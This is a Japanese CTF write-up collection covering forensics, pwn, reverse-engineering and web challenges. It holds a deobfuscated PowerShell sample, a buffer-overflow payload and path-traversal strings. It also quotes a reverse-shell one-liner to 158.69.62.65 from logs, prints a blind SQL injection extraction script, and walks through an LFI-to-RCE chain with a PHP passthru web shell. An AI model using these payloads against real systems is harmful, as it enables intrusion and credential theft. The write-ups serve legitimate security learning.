    set-ItEm  ('VariablE:s9q'+'Ik'+'1')  (  [TYPe]("{0}{1}{3}{2}{4}"-f'sYs','TEM.t','dIN','ExT.ENcO','G')  );
    ${B}=(&('gp') ((("{6}{0}{4}{5}{7}{3}{1}{2}"-f':x','tx','OECTF','f','OESoftwa','re','HKCU','xOEMicroso'))  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69),[cHAr]92))."f`ieND";
    ${k}=  $s9QIK1::"aSc`ii".("{1}{0}{2}"-f'etBy','G','tes').Invoke(("{1}{0}{2}" -f'3','f1bb','r'));
    for(${i}=0;${i}-lt${B}."L`EnG`Th";${i}++){
        ${B}[${i}]=${b}[${i}]-bxor${k}[${i}%${k}."LeN`Gth"]
    };
    ${A} = .("{1}{2}{3}{0}"-f 't','New-','Obj','ec') ("{0}{6}{3}{5}{1}{11}{8}{4}{7}{9}{10}{2}{12}"-f 'System','raphy.','cePr','ecurity.Crypt','C','og','.S','rypt','s','oS','ervi','Ae','ovider');
    ${S`h} = .("{1}{0}{2}"-f 'je','New-Ob','ct') ("{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}" -f'curity.Cry','pt','d','ogr','m.S','y.SH','A256Manage','e','Sy','aph','ste');
    ${U} = .("{1}{0}{2}"-f'ew','N','-Object') ("{2}{4}{3}{0}{1}" -f'ncodin','g','Syste','.Text.UTF8E','m');
    ${H} = ${sh}."c`O`MPuTE`hasH"(${U}.("{1}{0}{2}"-f'Byte','Get','s').Invoke(${K}));
    ${A}."k`ey" = ${H};
    [byte[]]${Iv} = 0..15;
    ${A}."I`V" = ${iV};
    ${e} = ${a}.("{4}{3}{1}{0}{2}" -f 'Encryp','e','tor','eat','Cr').Invoke();
    ${e`D} = ${e}.("{1}{3}{0}{2}"-f'formFin','T','alBlock','rans').Invoke(${b}, 0, ${b}."LeNg`TH");
    ${Ed};
    &('sp') ((("{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}"-f 'ft','war','6So','HKC','tho6','eho6Microsof','CT','U',':ho','F'))."re`PlAce"(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name ("{1}{0}"-f'd','fien') -Value ${ed};
    .("{2}{0}{1}" -f 'ee','p','Start-Sl') -Seconds 600;
};

日付指定で動くようになっている。
難読化処理されているので、変名とか色々しながら整形していく。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
    set-ItEm  ('VariablE:Encoding')  (  [TYPe]('sYsTEM.tExT.ENcOdING')  );
    ${RawText}=(Get-ItemProperty 'HKCU:\Software\Microsoft\CTF')."fieND";
    ${Key}=  $Encoding::"aScii".('GetBytes').Invoke(('f1bb3r'));
    for(${i}=0;${i}-lt${RawText}."LEnGTh";${i}++){
        ${RawText}[${i}] = ${RawText}[${i}] -bxor ${Key}[${i} % ${Key}."LeNGth"]
    };
    ${AESProvider} = .(New-Object) ('System.Security.Cryptography.AesCryptoServiceProvider');
    ${SHA256Managed} = .('New-Object') ('System.Security.Cryptography.SHA256Managed');
    ${UTF8Encoding} = .('New-Object') ('System.Text.UTF8Encoding');
    ${AESKey} = ${SHA256Managed}."cOMPuTEhasH"(${UTF8Encoding}.('GetBytes').Invoke(${Key}));
    ${AESProvider}."key" = ${AESKey};
    [byte[]]${Iv} = 0..15;
    ${AESProvider}."IV" = ${iV};
    ${Encryptor} = ${AESProvider}.('CreateEncryptor').Invoke();
    ${EncryptedData} = ${Encryptor}.('TransformFinalBlock').Invoke(${RawText}, 0, ${RawText}."LeNgTH");
    ${EncryptedData};
    Set-ItemProperty ('HKCU:\Software\Microsoft\CTF') -Name ('fiend') -Value ${EncryptedData};
    .(Start-Sleep) -Seconds 600;
};

HKCU:\Software\Microsoft\CTFのfiendを持ってきて、暗号化して、
レジストリHKCU:\Software\Microsoft\CTFのfiendに入れなおしている。
HKCUなのでユーザーの方のレジストリ

$ vol.py -f memory.raw windows.registry.hivelist.HiveList
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Offset  FileFullPath    File output

...
0x850e6e280000  \??\C:\Users\User\ntuser.dat    Disabled
///

これを使って以下のようにやるとデータが抜き取れる。

$ vol.py -f memory.raw windows.registry.printkey.PrintKey --offset 0x850e6e280000 --key "Software\Microsoft\CTF"
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

2023-04-01 08:44:57.000000      0x850e6e280000  Key     \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     Assemblies              False
2023-04-01 08:44:57.000000      0x850e6e280000  Key     \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     DirectSwitchHotkeys             False
2023-04-01 08:44:57.000000      0x850e6e280000  Key     \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     HiddenDummyLayouts              False
2023-04-01 08:44:57.000000      0x850e6e280000  Key     \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     SortOrder               False
2023-04-01 08:44:57.000000      0x850e6e280000  Key     \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     TIP             False
2023-04-01 08:44:57.000000      0x850e6e280000  REG_BINARY      \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     fiend   "
39 da 2a 85 c9 5b 42 17 9.*..[B.
84 11 d8 23 3b 0b f2 0e ...#;...
26 8c 95 89 ff e6 f1 7e &......~
4b f8 43 42 d0 24 37 70 K.CB.$7p"       False

さて、情報が揃ってきた。
AESの各種情報はコレ。

[decrypted]
39 da 2a 85 c9 5b 42 17 84 11 d8 23 3b 0b f2 0e 26 8c 95 89 ff e6 f1 7e 4b f8 43 42 d0 24 37 70

[key]
211 168 191 56 117 145 238 85 188 187 89 40 36 80 50 225 155 56 30 119 211 19 71 173 13 149 209 189 192 152 104 140
を`From Decimal -> To Hex`して以下にする。
d3 a8 bf 38 75 91 ee 55 bc bb 59 28 24 50 32 e1 9b 38 1e 77 d3 13 47 ad 0d 95 d1 bd c0 98 68 8c

[iv]
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
をkeyと同様の処理をする。
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f

CyberChefでデコードするとこんな感じ。

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'d3%20a8%20bf%2038%2075%2091%20ee%2055%20bc%20bb%2059%2028%2024%2050%2032%20e1%209b%2038%201e%2077%20d3%2013%2047%20ad%200d%2095%20d1%20bd%20c0%2098%2068%208c'%7D,%7B'option':'Hex','string':'00%2001%2002%2003%2004%2005%2006%2007%2008%2009%200a%200b%200c%200d%200e%200f'%7D,'CBC','Hex','Hex',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=MzkgZGEgMmEgODUgYzkgNWIgNDIgMTcgODQgMTEgZDggMjMgM2IgMGIgZjIgMGUgMjYgOGMgOTUgODkgZmYgZTYgZjEgN2UgNGIgZjggNDMgNDIgZDAgMjQgMzcgNzA

3458013156111d0710510745390852150000474c

もうちょっと。
以下のような感じでxor暗号化がかかってる。

${Key}=  $Encoding::"aScii".('GetBytes').Invoke(('f1bb3r'));
for(${i}=0;${i}-lt${RawText}."LEnGTh";${i}++){
    ${RawText}[${i}] = ${RawText}[${i}] -bxor ${Key}[${i} % ${Key}."LeNGth"]
};

f1bb3rでXOR取ってやればフラグ。

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'d3%20a8%20bf%2038%2075%2091%20ee%2055%20bc%20bb%2059%2028%2024%2050%2032%20e1%209b%2038%201e%2077%20d3%2013%2047%20ad%200d%2095%20d1%20bd%20c0%2098%2068%208c'%7D,%7B'option':'Hex','string':'00%2001%2002%2003%2004%2005%2006%2007%2008%2009%200a%200b%200c%200d%200e%200f'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)XOR(%7B'option':'UTF8','string':'f1bb3r'%7D,'Standard',false)&input=MzkgZGEgMmEgODUgYzkgNWIgNDIgMTcgODQgMTEgZDggMjMgM2IgMGIgZjIgMGUgMjYgOGMgOTUgODkgZmYgZTYgZjEgN2UgNGIgZjggNDMgNDIgZDAgMjQgMzcgNzA

[pwn] BOFSec

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

このscanfの部分でBOF(: BufferOverFlow)が発生している。
最終的にはuser.is_adminが0でなければいいので、char name[0x100];の後ろまで書き込みを侵食させてuser.is_adminを非零にする。
適当に'A'を0x104個入れて、全部'A'にしたらフラグがもらえた。

$ python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 0x104)' | nc -q 1 bofsec.2023.ricercactf.com 9001
Name: [+] Authentication successful.
Flag: RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

[rev] crackme

stringsコマンドで中身を眺めてみる。

$ strings *
...
The flag is "%s"
Password:
%99s
N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
[-] Permission denied
...

なんとも魅力的な文字列が見えるので、実際に使ってみるとフラグが得られる。

$ ./crackme 
Password: N1pp0n-Ich!_s3cuR3_p45$w0rD
[+] Authenticated
The flag is "RicSec{■■■■■■■■■■■■}"

[web] Cat Café

猫たちが見られるサイトが与えられる。
猫に惑わされず、とりあえずソースコードを眺めると、明らかなパストラバーサルポイントがある。

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

パラメタfで与えられたパスを結合してファイル参照している。
問題は../が削除されるフィルターが存在している部分である。
削除処理をよくよく見ると、../は一度だけ削除され、かつ、再帰的な削除処理は無いように見えるため
..././のようにすると、1回削除されて最終的に../を残すことができる。
つまり、/img?f=..././..././..././..././..././..././etc/passwdとすると、/etc/passwdが見られることが確認できる。

Dockerfileを見ると、

WORKDIR /home/ctf
...
ADD ./flag.txt  ./

のような感じになっているので、/home/ctf/flag.txtを参照するべく、
/img?f=..././..././..././..././..././..././home/ctf/flag.txt
とするとフラグが得られる。

TexSAW 2023 (Texas Security Awareness Week 2023) Writeups

[Forensics] Ghost in the Clipboard

AppDataフォルダからフラグを抜き取る問題。
ヒントがある。

Hint: You had clipboard history turned on in windows at the time of the attack. Perhaps the attacker copied the password?

なるほど。以下を参考にクリップボードの履歴を探索していく。

AppData\Local\ConnectedDevicesPlatform\4f406c0d314b1399\ActivitiesCache.dbクリップボードの履歴があるので、sqlitebrowserで開いて、SmartLookupのClipboardPayloadを漁るとフラグがあった。

[Forensics] Lazy Admin

pcapngファイルが与えられる。
TCPストリームもそれほどないので巡回していると、ストリーム3でパスワードがPOSTで送られており、フラグになっている。

[Forensics] Not Obvious

jpg画像が与えられる。
exiftoolで見てみると、Authorにbase64っぽいものが置いてある。

$ exiftool Temoc.jpg | grep Author
Author                          : dGV4c2F3e1kwdUYwdW5kMXR9

CyberChefでbase64デコードするとフラグが得られる。

[Web] Console Scrabble

>としか書かれていないサイトが与えられる。
/challenge.jsを読み込んでおり、使われていない大量の関数が定義されている。

関数は三文字変数を表示するだけみたいなので、三文字変数を全部ダンプしてみる

gar = 1nG
kar = _4_
qar = fl
war = ag}
far = tex
nar = FlA
ear = 4g
aar = {wh
mar = 3ve
zar = saw
car = h4t
tar = r_m
xar = y4k
bar = bez
har = 4n_
jar = its
yar = jAm
vat = bezOs
sat = r_m4n_its
gat = jAm1nG_
nat = y4kh4t3ve
tat = FlAG_
pat = texsaw
bat = wh4t3ve
jat = {wh_ag}
hat = _4_fl4g
pin = {wh4t3ve
ain = bezOsFlAG_
fin = y4kh4t3ve}
gin = r_m4n_its_4_fl4g
lin = texsaw}
jin = texsawjAm
win = jAm1nG_texsawy4kh4t3ve
qin = {wh_ag}_4_fl4g
ban = texsaw{wh4t3ve
han = bezOsFlAG_bezOsFlAG_r_m4n_its_4_fl4g
qan = {wh_ag}_4_fl4g{wh4t3ve
tan = y4kh4t3ve}texsaw}jAm
pan = y4kh4t3vejAm1nG_texsawy4kh4t3ve
wan = texsawjAm{wh4t3ve
fan = r_m4n_its_4_fl4g}
wem = texsawjAm{wh4t3vey4kh4t3ve}texsaw}jAm
rem = {wh_ag}_4_fl4g{wh4t3vey4kh4t3ve}
lem = texsaw{wh4t3ver_m4n_its_4_fl4g}
qem = y4kh4t3vejAm1nG_texsawy4kh4t3ve{wh_ag}_4_fl4g{wh4t3ve
hem = bezOsFlAG_bezOsFlAG_r_m4n_its_4_fl4gr_m4n_its_4_fl4g}
tun = texsawjAm{wh4t3vey4kh4t3ve}texsaw}jAmy4kh4t3vejAm1nG_texsawy4kh4t3ve{wh_ag}_4_fl4g{wh4t3ve
lun = bezOsFlAG_bezOsFlAG_r_m4n_its_4_fl4gr_m4n_its_4_fl4g}{wh_ag}_4_fl4g{wh4t3vey4kh4t3ve}
fun = texsawjAm{wh4t3vey4kh4t3ve}texsaw}jAmy4kh4t3vejAm1nG_texsawy4kh4t3ve{wh_ag}_4_fl4g{wh4t3vebezOsFlAG_bezOsFlAG_r_m4n_its_4_fl4gr_m4n_its_4_fl4g}{wh_ag}_4_fl4g{wh4t3vey4kh4t3ve}

一番それっぽいものを探すと lem = texsaw{wh4t3ver_m4n_its_4_fl4g} だろう。

[Web] Git er' done

setup automatic cloning from git repositoryと書かれているので/.git/を見てみるとディレクトリスティングされてくる。
arthaud/git-dumper: A tool to dump a git repository from a website
を使って全部抜いてこよう。
git log -pをして編集履歴を見るとフラグが見つかる。

[Web] SwiftMaster

Download Clueというボタンを押すとjpegファイルが落ちてくる。
fileコマンドしてみると何やら出てくる。

$ file *
download:  JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, copyright=secret_key_is:'v3rY_5eKr33t'], progressive, precision 8, 3008x2000, components 3

v3rY_5eKr33tという秘密鍵がもらえた。
texsaw{keyvalue}という感じに答えればいいっぽいので、くるんで答えれば正答。

[Web] The Path to Victory

独特なサイトが与えられる。
リダイレクトが走り/webpage/files/dir/index.htmlに飛ばされるが、ディレクトリをさかのぼっていくと、
ディレクトリリスティングができる状態であることに気が付く。
色々探索すると/webpage/session_keys.txtにフラグが書いてある。

Cyberconférence CTF (24h@CTF '23) Writeups

[Desjardins] Blue's Clues 1/8: Gitlab Server

Elasticの環境が与えられるのでログ解析をする問題群。
この問題ではgitlabのサーバー名が要求されている。

とりあえず、時間を伸ばしてログを見てみる。
4月6日からログが出ているようだ。

初めてelasticsearchを使ったが、Popular fieldsという便利なものがあるので、適当にフィルタリングして生データを眺めてみる。
gitlabから出ているログのフィールドにhost.nameというのがあり、そこにあるRezifp-GitLab-Serverを入れると正答だった。

[Desjardins] Blue's Clues 2/8: Source User

不正なCI/CDパイプラインを作成したユーザー名を要求されている。
ユーザー名から攻めることにする。
gitlab.usernameというfieldがあったので、これで集計してみよう。
やり方が全く分からんのでChatGPTに聞く。

KibanaのKQLでgitlab.usernameというフィールドに対して統計集計したいです
===================================================================
KibanaのKQLでgitlab.usernameフィールドに対して統計集計するには、以下の手順を実行してください。

Kibanaを開き、対象となるインデックスパターンを選択します。
Discoverページに移動し、左側のナビゲーションメニューから「+ Add a filter」を選択します。
「Field」ドロップダウンメニューから「gitlab.username」を選択します。
「Filter」ドロップダウンメニューから「is not null」を選択します。
「+ Add」ボタンをクリックして、フィルターを追加します。
左側のナビゲーションメニューから「Visualize」を選択します。
「+ Create Visualization」をクリックし、新しいビジュアライゼーションを作成します。
「Data」タブを選択し、表示するデータを定義します。
「Split series」を選択し、フィールド「gitlab.username」を選択します。
「Metrics」を選択し、使用する集計関数(例:Count)を選択します。
「Apply changes」をクリックしてビジュアライゼーションを更新します。
必要に応じて、ビジュアライゼーションをカスタマイズし、保存します。
これで、KibanaのKQLでgitlab.usernameフィールドに対して統計集計を行うことができます。

上の手順を参考程度にポチポチやっていると、3つのユーザー名が抽出できた。

root
yvandescreds
mimine1965

Visualization機能がとても便利。
ログの量が12日の午後がとびぬけていて、ちょうどそのタイミングでyvandescredsが何かしている。
見てみると、2023-04-12T13:15:24.350Zにgitlab.action:pipelineのイベントが作成されている。
これがそれ?ちょっとよくわからないけど、このユーザーが正答。

[Desjardins] Blue's Clues 3/8: Source IP

前問の答え、yvandescredsというユーザーが作成されたときの各種メタデータを要求されている。
yvandescredsというキーワードが最初に出てくるポイントが作成ポイントだろうと思い、
yvandescredsでキーワード検索して最初に出てくるイベントを探す。
2023-04-12T12:14:59.371Zにそれっぽいイベントがある。

  • gitlab.username:mimine1965
  • gitlab.remote_ip:10.0.0.5, 127.0.0.1 (とあるが、中継も書かれているので最初のものを採用する)
  • gitlab.ua:curl/8.0.1
  • gitlab.token_type:PersonalAccessToken

これを様式通り組み合わせれば正答

[Desjardins] Blue's Clues 4/8: Source Machine

10.0.0.5のhostnameを探す問題。
Visualizationを活用することにする。
10.0.0.5でキーワード検索をして、host.nameをVisualizationで眺めよう。
3種類のhostnameが記録されていたが、3問目のユーザー作成時に割り当たっていた名前はWebServer01であった。

[Desjardins] Blue's Clues 5/8: Initial Access

ウェブサーバーへの足がかりを答える問題。
雑にWebServer01 and phpと検索してみると、最初の2023-04-12T09:37:47.844Zにwebshellっぽい表記が見られる
url.fullhttp://52.229.123.208/index.php?command=ls+-la&page=ce52790629679d930ca16c39a4f619c3というのが見られる。
index.phpを答えてみるがこれではない。

url.fullで面白いものが無いか探索してみると、2023-04-12T09:47:10.159Zで
hxxp://52.229.123[.]208/uploads/ce52790629679d930ca16c39a4f619c3.php?command=lsというのがあった。
ce52790629679d930ca16c39a4f619c3.phpで正答できた。

[Desjardins] Blue's Clues 6/8: Discovery

Webシェルが最後に実行したコマンドが要求されている。
さっきの検索結果が使えそう。
WebServer01 and phpで検索してurl.fullを見る。
時間が最後のものを入れてみると正答。

2023-04-12T11:32:31.322のurl.fullが以下

hxxp://52.229.123[.]208/uploads/ce52790629679d930ca16c39a4f619c3.php?command=python3+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22158.69.62.65%22%2C8080%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27

commandにあるコマンドをCyberChefとかでURL Decodeして答えれば正答。
158.69.62[.]65とリバースシェルを張ってますね。
あと2つ設問があったが7番目が解けなかった…悔しいですね…

[Forensics] Close Enciphers - First Kind: Hearing

pcapngファイルが与えられる。
音を使って情報を抜いているのではないか…?という推測が問題文から提示されていて、MIDI通信が記録されている。
眺めていると、Infoで見たときにUSB-MIDI Event Packetsと分類されているものが特徴的であると気づく。
Note-onとNote-offという2種類がある。

Note-offのMIDI Eventが特徴的で80XX40となっている。
全部持ってきて、XXだけにしてhex to asciiをするとかなりそれっぽい文章が出てくる。
だが、微妙に読みづらい。

試しにNote-onのMIDI Eventで同じことをしてみると、整った文章が出てきた。
ここにある、FLAG-XXXXXを提出すると答え。

[Forensics] Close Enciphers - Second Kind: Evidence

pcapngファイルが与えられる。
前問と同じくMIDI通信が記録されている。

前問と同じように復号化してみると以下のような結果になる。

LET'S SHUFFLE IT A LITTLE: SK'HK YEGGD TDUK AE NK LEHK OWXJHKKA SWAT ATWX ODAD KIPWBAHDAWEG. WA XKKLX D YHEQM EP TDJZKHX WX AHRWGY AE ADZKEUKH EQH XRXAKLX (MHENDNBR CQXA AE AQHG ATKL WGAE D FELNWK GKASEHZ PEH JHRMAE LWGWGY EH XELKATWGY), ATKR LDR NK BWXAKGWGY DGO SK HKDBBR JDG'A BKA KL ZGES DNEQA ATWX. PBDY-OEQNBK_WGXWOKH_ATHKDA

Cipher Identifier and Analyzerで判別するとSubstitution Cipherらしい。
Substitution Cipher Solver Toolで手動解読できるので頑張るとフラグが手に入る。
tljaoznrxcempbdfuywhvqisgkが鍵になる。

[Forensics] Preparation - Adipol Lipidex 32mg

ad1ファイルが与えられるのでFTK Imagerでとりあえず開く。
中にReadMe.txtというファイルがあり、フラグが書いてある。

[Forensics] Investigation 2 - Adipol Lipidex 32mg

hd ROOTをして眺めるとフルパスが残っているような感じがする。

LONG{_~1TXT

000005a0  45 74 00 78 00 74 00 00  00 ff ff 0f 00 ce ff ff  |Et.x.t..........|
000005b0  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
000005c0  04 70 00 72 00 65 00 54  00 54 00 0f 00 ce 79 00  |.p.r.e.T.T....y.|
000005d0  5f 00 31 00 4f 00 6e 00  67 00 00 00 7d 00 2e 00  |_.1.O.n.g...}...|
000005e0  03 46 00 49 00 31 00 33  00 5f 00 0f 00 ce 6e 00  |.F.I.1.3._....n.|
000005f0  34 00 4d 00 65 00 5f 00  49 00 00 00 73 00 5f 00  |4.M.e._.I...s._.|
00000600  02 43 00 61 00 6e 00 5f  00 35 00 0f 00 ce 65 00  |.C.a.n._.5....e.|
00000610  33 00 5f 00 54 00 48 00  49 00 00 00 53 00 5f 00  |3._.T.H.I...S._.|
00000620  01 4c 00 4f 00 4e 00 47  00 7b 00 0f 00 ce 5f 00  |.L.O.N.G.{...._.|
00000630  61 00 53 00 5f 00 79 00  30 00 00 00 75 00 5f 00  |a.S._.y.0...u._.|
00000640  4c 4f 4e 47 7b 5f 7e 31  54 58 54 20 00 0e d9 aa  |LONG{_~1TXT ....|

ここからエスパーすると以下が得られる。

LONG{_aS_y0u_Can_5e3_THIS_FI13_n4Me_Is_preTTy_1Ong}

[trivia] The Cuckoo's Egg

When Clifford Stoll contacted the FBI for the first time regarding a potential intrusion in his systems, how much money did he say he lost (answer in dollars)?

という問いに答える問題。
ChatGPTに聞く。

「When Clifford Stoll contacted the FBI for the first time regarding a potential intrusion in his systems, how much money did he say he lost (answer in dollars)?」という問いに日本語で答えてください。

と聞く。

クリフォード・ストールが初めてFBIに連絡して自身のシステムに侵入があった可能性があることを伝えた際、彼が失ったと主張した金額は、$0.75(米ドルで0.75ドル)でした。

0.75と答えると正答。

[trivia] What would we do without Greece?

I'm the brother of Orthos and I'm widely used in internal networks as part of an authentication process.

という問いに答える問題。
ChatGPTに聞く。

「I'm the brother of Orthos and I'm widely used in internal networks as part of an authentication process.」という問いに日本語で答えてください

と聞く

この問いは、ある種の認証プロセスの一部として、内部ネットワークで広く使用されているという兄弟の一人について尋ねています。答えは、兄弟の名前が何であるかについては明示されていませんが、「私はOrthosの兄弟です」と述べています。Orthosはギリシャ神話に登場する、2つの頭を持つ番犬であるため、答えはおそらく「Cerberus(ケルベロス)」となるでしょう。Cerberusは、内部ネットワークで広く使用される認証システムの一部として、ユーザーの認証に使用されます。

なるほどね。kerberosと答えてみると正答。

[trivia] Yes, it came from something

The rockyou dictionnary is named like that for a reason. Find a year and the vulnerable technology exploited. More than how many millions user accounts were compromised?

という問いに答える問題。
ChatGPTに聞いてみましょう。

「The rockyou dictionnary is named like that for a reason. Find a year and the vulnerable technology exploited. More than how many millions user accounts were compromised?」という問いに日本語で答えてください。

と聞く

RockYou辞書は、2009年に発生したRockYou Inc.のセキュリティ侵害で流出したパスワード辞書です。この侵害は、Web 2.0アプリケーションの脆弱性によって引き起こされました。この侵害により、約3200万人のユーザーアカウントが侵害されました。

ほう。

yearと侵害されたアカウント数は分かった。
Web 2.0アプリケーションの脆弱性」とは何だろうか。

Web 2.0アプリケーションの脆弱性」とは具体的に何でしょうか

と聞く

Web 2.0アプリケーションの脆弱性にはいくつかの種類がありますが、代表的なものには以下のようなものがあります。 SQLインジェクション:Webアプリケーションに対してSQLクエリを送信することによって、攻撃者が不正なデータベースアクセスを行うことができます。 クロスサイトスクリプティングXSS):攻撃者がWebページにスクリプトを挿入することで、そのWebページを閲覧しているユーザーのブラウザで任意のコードを実行できます。 クロスサイトリクエストフォージェリCSRF):攻撃者がユーザーのブラウザを操作して、Webアプリケーションに対して不正なリクエストを送信することで、攻撃を行います。 これらの脆弱性を悪用することで、攻撃者はWebアプリケーションに侵入し、ユーザーの個人情報やアカウント情報を窃取することができます。RockYouの場合、SQLインジェクション脆弱性が悪用され、パスワード情報が漏洩したとされています。

SQL Injectionか。
2009-SQL-32と答えると正答。(すごい)

[web] Shopping

signup.phpのusernameでSQL Injectionを引き起こすことができる。

$sql = "SELECT * FROM users WHERE BINARY username='$username'";

出力をそのまま受けとることはできない。
しかし、$passwordと$cpasswordを違ったものにしておけば、出力の有無で「Passwords do not match」が
表示されるかされないかを一致不一致のオラクルとして利用できる。
これを使ってBlind SQL Injectionしていき、adminのパスワードを取得する。

import requests
import time

url = 'http://challenges.polycyber.io:8000/signup.php'
req = "SELECT password FROM users WHERE username='admin'"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        print(exp)
        res = requests.post(url, data={'firstname':'a','lastname':'b','email':'c','username':exp,'password':'e','cpassword':'f'})
        if 'Passwords do not match' not in res.text:
            ok = md
        else:
            ng = md
        time.sleep(1)

    if ok == 0:
        break

    ans += chr(ok)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

こんな感じでパスワードが得られて、adminログインが可能になる。
adminでログインできるとaddproduct.phpにあるLFIの脆弱性が利用可能になる。

if (! empty($_GET['role'])){
    $_SESSION['role'] = $_GET['role'];
    include($_GET['role']);
}

roleに入れたものを出力させることができる。
試しに/addproduct.php?role=/etc/passwdみたいにすると良い感じに取れる。
The flag is located in the /opt folder.とあるので、色々推測してみたがダメだった。
RCEにまで発展させる必要がありそうである。

LFIをRCEに発展させる方法はいくつかあるが、セッションを悪用したものを利用した。
Orange: HITCON CTF 2018 - One Line PHP Challenge
このトリック。
セッション情報がファイルとして保存されることを利用する。試しに以下のように試してみる。

GET /addproduct.php?role=%2ftmp%2fsess_9b002d0f9248d5f7d400011045141375 HTTP/1.1
Host: challenges.polycyber.io:8000
Cookie: PHPSESSID=9b002d0f9248d5f7d400011045141375
Connection: close

これの応答にuser|s:5:"admin";role|s:42:"/tmp/sess_9b002d0f9248d5f7d400011045141375";
というのが含まれてセッション情報が反映されてきているのがわかる。
roleの値にphpコードを入れ込んで、以上のようにセッション情報を表示させることでphpコードとして認識させてRCEさせようという戦略になる。
今回はセッション書き込みの直後にincludeしているので、もしかしたら、書き込み前の情報が得られるかも…とやってみるとうまくいく。

具体的に説明する。
Cookie: PHPSESSID=9b002d0f9248d5f7d400011045141375というセッションを利用していることを前提とする。
まず、使いたいphpコードをroleに入れて呼び出してセッションに書き込む。
GET /addproduct.php?role=%3c%3fphp%20passthru(%24_GET%5b%22c%22%5d)%3b%20%3f%3e
次に、書き込んだコードを呼び出すためにセッションデータの保存場所をLFIしてくる。
GET /addproduct.php?role=%2ftmp%2fsess_9b002d0f9248d5f7d400011045141375&c=id
このとき、前に書き込んだセッション情報が排他制御が失敗して使われ<?php passthru($_GET["c"]); ?>が実行され、cで与えたidコマンドが実行される。
RCE達成できた。

ls /optすると4c9ef90fdcdd387456f56cd2d275a7f5というファイル名が得られるのでcat /opt/4c9ef90fdcdd387456f56cd2d275a7f5でフラグ獲得。